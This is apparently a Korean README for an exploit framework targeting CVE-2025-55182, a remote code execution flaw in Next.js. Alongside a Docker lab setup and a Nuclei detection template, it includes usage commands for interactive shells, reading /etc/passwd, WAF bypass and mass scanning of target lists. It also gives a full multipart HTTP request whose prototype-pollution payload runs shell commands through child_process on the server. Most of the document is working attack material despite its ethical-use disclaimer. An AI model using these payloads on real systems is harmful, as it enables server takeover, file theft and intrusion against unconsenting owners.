React2Shell-Exploit — CVE-2025-55182를 위한 완전한 익스플로잇 프레임워크로, Python 익스플로잇, Docker 취약 실습 환경, Burp Suite 수동 및 자동 익스플로잇, Nuclei 탐지 템플릿, 검증된 테스트 워크플로우를 포함합니다. 침투 테스트 및 교육 연구용으로 개발되었습니다.
CVE-2025-55182 - Next.js RCE 원격 코드 실행
공격 프레임워크 + 취약한 실습 환경 + Burp Suite 및 Nuclei 검증.
보안 연구 및 침투 테스트를 위한 완전한 공격 프레임워크 및 취약한 실습 환경.
╔═══════════════════════════════════════════════════════════════╗
║ 🐺 React2Shell-Exploit-Kensei 🐺 ║
║ CVE-2025-55182 Exploitation Tool ║
║ ║
║ Author: Ruben Suxo - Ethical Hacker (kensei) v2.5.0 ║
╚═══════════════════════════════════════════════════════════════╝
React2Shell-Exploit-Kensei는 Next.js 애플리케이션의 심각한 원격 코드 실행 취약점인 CVE-2025-55182를 공격하기 위한 종합 툴킷입니다.
다음이 포함됩니다:
영향받는 버전:
CVSS 점수: 10.0 (치명적)
✅ 자동 공격 ✅ 대화형 셸 ✅ 명령 실행 ✅ 파일 읽기 ✅ WAF 우회 ✅ 배치 스캔
취약한 실습 환경을 실행하려면 Docker가 설치되어 있어야 합니다.
설치 확인:
docker --version
✅ Burp Suite 가이드 ✅ Nuclei 템플릿 ✅ 전체 예제
# 1. Clone
git clone react2shell-exploit
cd react2shell-exploit
chmod +x react2shell-exploit.py
# 2. Start Lab
cd docker
docker build --no-cache -t react2shell-lab .
docker run -d -p 3002:3002 --name react2shell-lab react2shell-lab
# 3. Exploit
python3 react2shell-exploit.py --url http://localhost:3002 --cmd "whoami"
python3 react2shell-exploit.py --url http://target.com --scan
python3 react2shell-exploit.py --url http://target.com --cmd "id"
python3 react2shell-exploit.py --url http://target.com --shell
python3 react2shell-exploit.py --url http://target.com --read /etc/passwd
python3 react2shell-exploit.py --url http://target.com --cmd "whoami" --waf-bypass
python3 react2shell-exploit.py --list targets.txt --scan --threads 20
검증 완료 - 요청 템플릿:
POST / HTTP/1.1
Host: target.com:3002
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad
Next-Action: x
Content-Length: 734
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="0"
{"then":"$1:__proto__:then","status":"resolved_model","reason":-1,"value":"{\"then\":\"$B1337\"}","_response":{"_prefix":"var res=process.mainModule.require('child_process').execSync('whoami',{timeout:30000}).toString().trim();throw Object.assign(new Error('NEXT_REDIRECT'),{digest: `NEXT_REDIRECT;push;/exploit?out=${encodeURIComponent(res)};307;`});","_chunks":"$Q2","_formData":{"get":"$1:constructor:constructor"}}}
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="1"
"$@0"
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="2"
[]
------WebKitFormBoundaryx8jO2oVc6SWP3Sad--
예상 응답:
"children":["__PAGE__?{\"out\":\"root\"}",{}]
WHOAMI 수동 테스트:

IFCONFIG 수동 테스트:

대체 자동 감지 방법:








검증 완료:
nuclei -target http://target.com:3002 -t nuclei/CVE-2025-55182.yaml
출력:
[CVE-2025-55182] [http] [critical] http://target.com:3002/

작성자: Ruben Suxo - Ethical Hacker (kensei) 버전: 2.5.0 날짜: 2025-12-06
이 프로젝트는 다음의 연구와 기법을 기반으로 합니다:
공인된 보안 테스트에만 사용하세요.
무단 접근은 불법입니다. 소유한 시스템 또는 명시적 테스트 허가를 받은 시스템에서만 사용하세요.
MIT License
🐺 Hack The Planet - 책임감 있게
교육 목적으로만 사용하세요. 윤리적으로 사용하십시오.